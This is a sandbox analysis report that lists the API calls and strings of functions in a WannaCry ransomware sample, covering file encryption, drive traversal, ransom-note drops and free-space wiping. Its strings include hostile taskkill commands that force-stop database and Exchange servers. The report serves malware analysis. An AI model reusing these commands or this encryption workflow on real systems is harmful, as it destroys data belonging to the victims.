Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 10003200, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16

APIs

swprintf.MSVCRT(?,%s\%s,?,@Please_Read_Me@.txt), ref: 1000321A
CopyFileW.KERNEL32(@Please_Read_Me@.txt,?,00000001), ref: 1000322F

Strings

@Please_Read_Me@.txt, xrefs: 1000320E, 1000322A
%s\%s, xrefs: 10003214

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 100021AC, Relevance: 6.0, APIs: 4, Instructions: 22

APIs

CloseHandle.KERNEL32(?), ref: 100021B8
CloseHandle.KERNEL32(?), ref: 100021CE
wcslen.MSVCRT ref: 100021DB
DeleteFileW.KERNELBASE(?), ref: 100021EF

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 10004790, Relevance: 4.5, APIs: 3, Instructions: 27

APIs

time.MSVCRT ref: 100047AA

Part of subcall function 10004730: CreateFileA.KERNEL32(00000000.res,40000000,00000001,00000000,00000004,00000080,00000000), ref: 10004749
Part of subcall function 10004730: WriteFile.KERNEL32(00000000), ref: 10004775
Part of subcall function 10004730: CloseHandle.KERNEL32(00000000), ref: 1000477C

Sleep.KERNELBASE(000003E8), ref: 100047C9
ExitThread.KERNEL32 ref: 100047DC

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 10005300, Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 20

APIs

Part of subcall function 10001080: CreateProcessA.KERNEL32 ref: 100010D3
Part of subcall function 10001080: WaitForSingleObject.KERNEL32(?,?), ref: 100010EB
Part of subcall function 10001080: TerminateProcess.KERNEL32(?,000000FF,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 100010FC
Part of subcall function 10001080: GetExitCodeProcess.KERNEL32(?,?), ref: 10001110
Part of subcall function 10001080: CloseHandle.KERNEL32(?), ref: 10001121
Part of subcall function 10001080: CloseHandle.KERNEL32(?), ref: 10001128

Sleep.KERNELBASE(00007530), ref: 10005326

Strings

taskdl.exe, xrefs: 10005314

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 100045C0, Relevance: 3.0, APIs: 2, Instructions: 15

APIs

Part of subcall function 10004500: sprintf.MSVCRT ref: 10004528
Part of subcall function 10004500: GetFileAttributesA.KERNEL32(?), ref: 1000453C
Part of subcall function 10004500: GetFileAttributesA.KERNEL32(00000000.pky), ref: 10004548

Sleep.KERNELBASE(00001388), ref: 100045E3
ExitThread.KERNEL32 ref: 100045E9

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 10003760, Relevance: 1.3, APIs: 1, Instructions: 38

APIs

??2@YAPAXI@Z.MSVCRT ref: 10003771

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Non-executed Functions

Function 10004A40, Relevance: 31.7, APIs: 16, Strings: 2, Instructions: 200

APIs

SHGetFolderPathW.SHELL32(00000000,?,00000000,00000000,?), ref: 10004A97
wcslen.MSVCRT ref: 10004A9E
wcsrchr.MSVCRT ref: 10004AC0
wcschr.MSVCRT ref: 10004AE9
SHGetFolderPathW.SHELL32(00000000,00000005,00000000,00000000,?), ref: 10004B1B
wcslen.MSVCRT ref: 10004B25
wcsrchr.MSVCRT ref: 10004B3D
swprintf.MSVCRT(?,%s\*.*,?), ref: 10004B87
FindFirstFileW.KERNEL32(?,?), ref: 10004BA0
wcscmp.MSVCRT ref: 10004BD7
wcscmp.MSVCRT ref: 10004BF5
swprintf.MSVCRT(?,%s\%s\%s,?,?,-00000002), ref: 10004C2F
wcscmp.MSVCRT ref: 10004C51
swprintf.MSVCRT(?,%s\%s\%s,?,?,00000000), ref: 10004C79
FindNextFileW.KERNEL32(?,?), ref: 10004CA2
FindClose.KERNEL32(?), ref: 10004CB5

Strings

%s\%s\%s, xrefs: 10004C29, 10004C73
%s\*.*, xrefs: 10004B81

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 10004440, Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 62

APIs

LoadLibraryA.KERNEL32(advapi32.dll), ref: 10004456
GetProcAddress.KERNEL32(00000000,CryptAcquireContextA,?), ref: 10004473
GetProcAddress.KERNEL32(00000000,CryptImportKey), ref: 10004480
GetProcAddress.KERNEL32(00000000,CryptDestroyKey), ref: 1000448D
GetProcAddress.KERNEL32(00000000,CryptEncrypt), ref: 1000449A
GetProcAddress.KERNEL32(00000000,CryptDecrypt), ref: 100044A7
GetProcAddress.KERNEL32(00000000,CryptGenKey), ref: 100044B4

Strings

CryptGenKey, xrefs: 100044A9
CryptDestroyKey, xrefs: 10004482
CryptDecrypt, xrefs: 1000449C
advapi32.dll, xrefs: 10004451
CryptAcquireContextA, xrefs: 1000446D
CryptEncrypt, xrefs: 1000448F
CryptImportKey, xrefs: 10004475

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 10004F20, Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 90

APIs

swprintf.MSVCRT(?,%s\%s,?,@WanaDecryptor@.bmp), ref: 10004F7C
MultiByteToWideChar.KERNEL32(00000000,00000000,b.wnry,000000FF,?,00000103), ref: 10004F99
CopyFileW.KERNEL32(?,?,00000000), ref: 10004FB4
GetUserNameW.ADVAPI32 ref: 10004FF0
_wcsicmp.MSVCRT ref: 10005006
SystemParametersInfoW.USER32(00000014,00000000,?,00000001), ref: 1000501E
swprintf.MSVCRT(?,%s\%s,?,@WanaDecryptor@.exe), ref: 10005034
CopyFileW.KERNEL32(@WanaDecryptor@.exe,?,00000000), ref: 10005045

Strings

@WanaDecryptor@.exe, xrefs: 10005024, 10005040
b.wnry, xrefs: 10004F90
@WanaDecryptor@.bmp, xrefs: 10004F6A
%s\%s, xrefs: 10004F76, 1000502E

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 10005540, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 101

APIs

InterlockedExchangeAdd.KERNEL32(1000D4E4,00000000), ref: 1000557E
GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 100055AE
Sleep.KERNEL32(000003E8), ref: 100055CB
GetDriveTypeW.KERNEL32(?), ref: 100055E9
GetDriveTypeW.KERNEL32(00000000,00000000,00000019,76E6EEF2,00000000), ref: 100055FD
InterlockedExchange.KERNEL32(1000D4E4,?), ref: 1000560A
GetDriveTypeW.KERNEL32(?), ref: 10005615

Part of subcall function 100027F0: ??2@YAPAXI@Z.MSVCRT ref: 1000281A
Part of subcall function 100027F0: ??3@YAXPAX@Z.MSVCRT ref: 10002899
Part of subcall function 100027F0: ??3@YAXPAX@Z.MSVCRT ref: 100028FD
Part of subcall function 100027F0: ??3@YAXPAX@Z.MSVCRT ref: 10002917

Part of subcall function 10005060: GetWindowsDirectoryW.KERNEL32(?,00000104,?,?), ref: 10005075
Part of subcall function 10005060: GetTempPathW.KERNEL32(00000104,?), ref: 10005094
Part of subcall function 10005060: wcslen.MSVCRT ref: 100050A1
Part of subcall function 10005060: wcslen.MSVCRT ref: 100050AB
Part of subcall function 10005060: wcslen.MSVCRT ref: 100050B9
Part of subcall function 10005060: swprintf.MSVCRT(?,%C:\%s,?,$RECYCLE), ref: 100050DC
Part of subcall function 10005060: CreateDirectoryW.KERNEL32(?,00000000), ref: 100050E8
Part of subcall function 10005060: sprintf.MSVCRT ref: 100050FE

Part of subcall function 10001910: wcscpy.MSVCRT ref: 10001920
Part of subcall function 10001910: swprintf.MSVCRT(?,%s\%d%s,?,?,.WNCRYT), ref: 1000194B

Strings

:\, xrefs: 10005546

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 10003D10, Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 154

APIs

Part of subcall function 10003A80: CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000018,F0000000,76E76DBE,76E76DBE,10003D9E,?,76E76DBE,00000000), ref: 10003A9D

Part of subcall function 10003F00: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 10003F45
Part of subcall function 10003F00: GetFileSize.KERNEL32(00000000,00000000), ref: 10003F5B
Part of subcall function 10003F00: GlobalAlloc.KERNEL32(00000000,00000000), ref: 10003F8A
Part of subcall function 10003F00: ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 10003FA2
Part of subcall function 10003F00: CryptImportKey.ADVAPI32(76E76DBE,00000000,?,00000000,00000000,?), ref: 10003FC5
Part of subcall function 10003F00: _local_unwind2.MSVCRT ref: 10003FD5
Part of subcall function 10003F00: _local_unwind2.MSVCRT ref: 10004017

CryptEncrypt.ADVAPI32(?,00000000,00000001,00000000,00000000,?,00000200,?,?,?,?,76E76DBE,00000000), ref: 10003E2B
_local_unwind2.MSVCRT ref: 10003E3B
CryptDecrypt.ADVAPI32(?,00000000,00000001,00000000,00000000,?,?,?,?,?,76E76DBE,00000000), ref: 10003E70
strncmp.MSVCRT(00000000,76E76DBE,?,?,?,?,?,76E76DBE,00000000), ref: 10003EA1
_local_unwind2.MSVCRT ref: 10003EB4

Strings

TESTDATA, xrefs: 10003D3E

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 10004370, Relevance: 6.1, APIs: 4, Instructions: 75

APIs

Part of subcall function 10004420: CryptGenRandom.ADVAPI32(?,?,?,10005C8E,1000DC68,00000008), ref: 1000442E

EnterCriticalSection.KERNEL32(?,00000010,?,?,?,?,?,10001DBA,?,00000010,?,00000200,?,?), ref: 100043CA
CryptEncrypt.ADVAPI32(?,00000000,00000001,00000000,10001DBA,?,00000000,?,?,10001DBA,?,00000010,?,00000200,?,?), ref: 100043E7
LeaveCriticalSection.KERNEL32(?,?,?,10001DBA,?,00000010,?,00000200,?,?), ref: 100043F2
LeaveCriticalSection.KERNEL32(?,?,?,10001DBA,?,00000010,?,00000200,?,?), ref: 10004401

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 10001360, Relevance: 4.5, APIs: 3, Instructions: 45

APIs

AllocateAndInitializeSid.ADVAPI32(?,?,?,?,?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,768DF708), ref: 1000139C
CheckTokenMembership.ADVAPI32(00000000,?,768DF708,?,?,?,?,?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000), ref: 100013B6
FreeSid.ADVAPI32(?,?,?,?,?,?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 100013C9

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 10003BB0, Relevance: 4.5, APIs: 3, Instructions: 24

APIs

CryptDestroyKey.ADVAPI32(?,76E76DBE,10003EFD,10003EE0,?,?,?,?,?,?,?,76E76DBE,00000000), ref: 10003BBB
CryptDestroyKey.ADVAPI32(?,76E76DBE,10003EFD,10003EE0,?,?,?,?,?,?,?,76E76DBE,00000000), ref: 10003BD0
CryptReleaseContext.ADVAPI32(?,00000000,76E76DBE,10003EFD,10003EE0,?,?,?,?,?,?,?,76E76DBE,00000000), ref: 10003BE7

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 10003A80, Relevance: 1.5, APIs: 1, Instructions: 26

APIs

CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000018,F0000000,76E76DBE,76E76DBE,10003D9E,?,76E76DBE,00000000), ref: 10003A9D

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 10004420, Relevance: 1.5, APIs: 1, Instructions: 8

APIs

CryptGenRandom.ADVAPI32(?,?,?,10005C8E,1000DC68,00000008), ref: 1000442E

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 100057C0, Relevance: 44.0, APIs: 13, Strings: 12, Instructions: 227

APIs

Part of subcall function 10001590: ??2@YAPAXI@Z.MSVCRT ref: 100015FC

Part of subcall function 10001830: GlobalAlloc.KERNEL32(00000000,00100000,10005340,00000000,76E6C426,00000000,1000580C,00000000.pky,10005340,1000DD8C,76E6DE72), ref: 10001869
Part of subcall function 10001830: GlobalAlloc.KERNEL32(00000000,00100000), ref: 10001881
Part of subcall function 10001830: InitializeCriticalSection.KERNEL32(?), ref: 10001899
Part of subcall function 10001830: CreateThread.KERNEL32(00000000,00000000,100029E0,?,00000000,00000000), ref: 100018AD
Part of subcall function 10001830: GetTickCount.KERNEL32 ref: 100018CD
Part of subcall function 10001830: srand.MSVCRT ref: 100018D4

GetFileAttributesA.KERNEL32(f.wnry,00000000.pky,10005340,1000DD8C,76E6DE72), ref: 10005819
time.MSVCRT ref: 1000583D
sprintf.MSVCRT ref: 1000585F

Part of subcall function 10001000: fopen.MSVCRT ref: 1000101B
Part of subcall function 10001000: fread.MSVCRT ref: 1000103B
Part of subcall function 10001000: fwrite.MSVCRT ref: 10001048
Part of subcall function 10001000: fclose.MSVCRT ref: 10001056
Part of subcall function 10001000: fclose.MSVCRT ref: 10001064

Part of subcall function 10004CD0: GetFileAttributesW.KERNEL32(@WanaDecryptor@.exe,00000000), ref: 10004CE2
Part of subcall function 10004CD0: CopyFileA.KERNEL32(u.wnry,@WanaDecryptor@.exe,00000000), ref: 10004CF5
Part of subcall function 10004CD0: GetFileAttributesW.KERNEL32(@WanaDecryptor@.exe.lnk), ref: 10004D00
Part of subcall function 10004CD0: GetCurrentDirectoryA.KERNEL32(00000208,?,76E6C426), ref: 10004D45
Part of subcall function 10004CD0: sprintf.MSVCRT ref: 10004DC2

Part of subcall function 10004DF0: GetFileAttributesW.KERNEL32(@Please_Read_Me@.txt,76E6C426,00000000,00000000,1000588E), ref: 10004E02
Part of subcall function 10004DF0: fopen.MSVCRT ref: 10004E1B
Part of subcall function 10004DF0: fread.MSVCRT ref: 10004E50
Part of subcall function 10004DF0: fclose.MSVCRT ref: 10004E5D
Part of subcall function 10004DF0: _wfopen.MSVCRT ref: 10004E69
Part of subcall function 10004DF0: _ftol.MSVCRT ref: 10004E8B
Part of subcall function 10004DF0: sprintf.MSVCRT ref: 10004EA1
Part of subcall function 10004DF0: sprintf.MSVCRT ref: 10004EC4
Part of subcall function 10004DF0: sprintf.MSVCRT ref: 10004EE5
Part of subcall function 10004DF0: fwrite.MSVCRT ref: 10004F03
Part of subcall function 10004DF0: fclose.MSVCRT ref: 10004F0A

Part of subcall function 10005480: SHGetFolderPathW.SHELL32(00000000,00000000,00000000,00000000,76E6C426), ref: 100054B6
Part of subcall function 10005480: wcslen.MSVCRT ref: 100054C3
Part of subcall function 10005480: SHGetFolderPathW.SHELL32(00000000,00000005,00000000,00000000,?), ref: 100054F5
Part of subcall function 10005480: wcslen.MSVCRT ref: 100054FC

InterlockedExchange.KERNEL32(1000D4E4,000000FF), ref: 100058C1

Part of subcall function 10001080: CreateProcessA.KERNEL32 ref: 100010D3
Part of subcall function 10001080: WaitForSingleObject.KERNEL32(?,?), ref: 100010EB
Part of subcall function 10001080: TerminateProcess.KERNEL32(?,000000FF,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 100010FC
Part of subcall function 10001080: GetExitCodeProcess.KERNEL32(?,?), ref: 10001110
Part of subcall function 10001080: CloseHandle.KERNEL32(?), ref: 10001121
Part of subcall function 10001080: CloseHandle.KERNEL32(?), ref: 10001128

GetLogicalDrives.KERNEL32 ref: 1000591C
GetDriveTypeW.KERNEL32(?), ref: 10005964
GetDriveTypeW.KERNEL32(?), ref: 10005977

Part of subcall function 10005540: InterlockedExchangeAdd.KERNEL32(1000D4E4,00000000), ref: 1000557E
Part of subcall function 10005540: GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 100055AE
Part of subcall function 10005540: Sleep.KERNEL32(000003E8), ref: 100055CB
Part of subcall function 10005540: GetDriveTypeW.KERNEL32(?), ref: 100055E9
Part of subcall function 10005540: GetDriveTypeW.KERNEL32(00000000,00000000,00000019,76E6EEF2,00000000), ref: 100055FD
Part of subcall function 10005540: InterlockedExchange.KERNEL32(1000D4E4,?), ref: 1000560A
Part of subcall function 10005540: GetDriveTypeW.KERNEL32(?), ref: 10005615

InterlockedExchange.KERNEL32(1000D4E4,000000FF), ref: 100059A4

Part of subcall function 10004A40: SHGetFolderPathW.SHELL32(00000000,?,00000000,00000000,?), ref: 10004A97
Part of subcall function 10004A40: wcslen.MSVCRT ref: 10004A9E
Part of subcall function 10004A40: wcsrchr.MSVCRT ref: 10004AC0
Part of subcall function 10004A40: wcschr.MSVCRT ref: 10004AE9
Part of subcall function 10004A40: SHGetFolderPathW.SHELL32(00000000,00000005,00000000,00000000,?), ref: 10004B1B
Part of subcall function 10004A40: wcslen.MSVCRT ref: 10004B25
Part of subcall function 10004A40: wcsrchr.MSVCRT ref: 10004B3D
Part of subcall function 10004A40: swprintf.MSVCRT(?,%s\*.*,?), ref: 10004B87
Part of subcall function 10004A40: FindFirstFileW.KERNEL32(?,?), ref: 10004BA0
Part of subcall function 10004A40: wcscmp.MSVCRT ref: 10004BD7
Part of subcall function 10004A40: wcscmp.MSVCRT ref: 10004BF5
Part of subcall function 10004A40: swprintf.MSVCRT(?,%s\%s\%s,?,?,-00000002), ref: 10004C2F
Part of subcall function 10004A40: wcscmp.MSVCRT ref: 10004C51
Part of subcall function 10004A40: swprintf.MSVCRT(?,%s\%s\%s,?,?,00000000), ref: 10004C79
Part of subcall function 10004A40: FindNextFileW.KERNEL32(?,?), ref: 10004CA2
Part of subcall function 10004A40: FindClose.KERNEL32(?), ref: 10004CB5

sprintf.MSVCRT ref: 100059DD
time.MSVCRT ref: 100059F6

Part of subcall function 10004730: CreateFileA.KERNEL32(00000000.res,40000000,00000001,00000000,00000004,00000080,00000000), ref: 10004749
Part of subcall function 10004730: WriteFile.KERNEL32(00000000), ref: 10004775
Part of subcall function 10004730: CloseHandle.KERNEL32(00000000), ref: 1000477C

sprintf.MSVCRT ref: 10005A1F

Part of subcall function 10005190: GetDriveTypeW.KERNEL32(00000000,00000001,00000000,00000000), ref: 100051C0
Part of subcall function 10005190: GlobalAlloc.KERNEL32(00000000,00A00000), ref: 100051D6
Part of subcall function 10005190: CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000002,00000000), ref: 1000522C
Part of subcall function 10005190: GlobalFree.KERNEL32(00000000), ref: 1000523A
Part of subcall function 10005190: MoveFileExW.KERNEL32(?,00000000,00000004), ref: 10005254
Part of subcall function 10005190: GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 1000527D
Part of subcall function 10005190: WriteFile.KERNEL32(00000000,00000000,00A00000,?,00000000), ref: 100052A9
Part of subcall function 10005190: Sleep.KERNEL32(0000000A), ref: 100052B5
Part of subcall function 10005190: Sleep.KERNEL32(00002710), ref: 100052C2
Part of subcall function 10005190: GlobalFree.KERNEL32(00000000), ref: 100052CE
Part of subcall function 10005190: FlushFileBuffers.KERNEL32(00000000), ref: 100052D5
Part of subcall function 10005190: CloseHandle.KERNEL32(00000000), ref: 100052DC
Part of subcall function 10005190: DeleteFileW.KERNEL32(?), ref: 100052E7

GetDriveTypeW.KERNEL32(?), ref: 10005A7D
Sleep.KERNEL32(0000EA60), ref: 10005A98

Part of subcall function 10001680: ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000001,00000000,76E6C426,76E6EA18,00000000,?,00000000,10006DEF,000000FF,10005AC5), ref: 100016DD
Part of subcall function 10001680: ??3@YAXPAX@Z.MSVCRT ref: 100016E4
Part of subcall function 10001680: ??3@YAXPAX@Z.MSVCRT ref: 10001705

Strings

taskkill.exe /f /im Microsoft.Exchange.*, xrefs: 100058D7
:\, xrefs: 1000592B, 10005A5D
taskkill.exe /f /im sqlwriter.exe, xrefs: 10005901
%s fi, xrefs: 10005859
taskkill.exe /f /im sqlserver.exe, xrefs: 100058F3
taskkill.exe /f /im mysqld.exe, xrefs: 1000590F
cmd.exe /c start /b %s vs, xrefs: 10005A19
taskkill.exe /f /im MSExchange*, xrefs: 100058E5
f.wnry, xrefs: 10005814
00000000.pky, xrefs: 100057F4
%s co, xrefs: 100059D7
@WanaDecryptor@.exe, xrefs: 10005850, 100059CE, 10005A10

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 100032C0, Relevance: 38.6, APIs: 12, Strings: 10, Instructions: 133

APIs

_wcsnicmp.MSVCRT ref: 100032CF
wcsstr.MSVCRT ref: 100032E8
_wcsicmp.MSVCRT ref: 10003309
_wcsicmp.MSVCRT ref: 10003323
_wcsicmp.MSVCRT ref: 1000333D
_wcsicmp.MSVCRT ref: 10003357
_wcsicmp.MSVCRT ref: 10003371
wcsstr.MSVCRT ref: 1000338B
wcsstr.MSVCRT ref: 100033A5
_wcsicmp.MSVCRT ref: 100033C3
_wcsicmp.MSVCRT ref: 100033DD
_wcsicmp.MSVCRT ref: 100033F7

Strings

Content.IE5, xrefs: 100033F1
\Intel, xrefs: 10003303
\AppData\Local\Temp, xrefs: 10003385
\ProgramData, xrefs: 1000331D
\WINDOWS, xrefs: 10003337
Temporary Internet Files, xrefs: 100033D7
\Program Files, xrefs: 10003351
This folder protects against ransomware. Modifying it will reduce protection, xrefs: 100033BD
\Local Settings\Temp, xrefs: 1000339F
\Program Files (x86), xrefs: 1000336B

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 100029F0, Relevance: 35.1, APIs: 18, Strings: 2, Instructions: 130

APIs

Sleep.KERNEL32(000003E8,?,?,?,?,100029E9), ref: 10002A17
EnterCriticalSection.KERNEL32(?,?,?,?,?,100029E9), ref: 10002A36
wcslen.MSVCRT ref: 10002A69
MoveFileExW.KERNEL32(69501440,?,00000001), ref: 10002A7A
GetFileAttributesW.KERNEL32(?), ref: 10002A85
GetFileAttributesW.KERNEL32(?), ref: 10002A91
SetFileAttributesW.KERNEL32(?,00000000), ref: 10002A9B
MoveFileExW.KERNEL32(?,00000000,00000004), ref: 10002AA5
swprintf.MSVCRT(?,%s\%d%s,?,?,.WNCRYT), ref: 10002ACD
MoveFileExW.KERNEL32(69501440,?,00000001), ref: 10002ADA
DeleteFileW.KERNEL32(69501440), ref: 10002AE5
GetFileAttributesW.KERNEL32(69501440), ref: 10002AF0
SetFileAttributesW.KERNEL32(69501440,00000000), ref: 10002AFA
MoveFileExW.KERNEL32(69501440,00000000,00000004), ref: 10002B04
??3@YAXPAX@Z.MSVCRT ref: 10002B3E
??3@YAXPAX@Z.MSVCRT ref: 10002B50
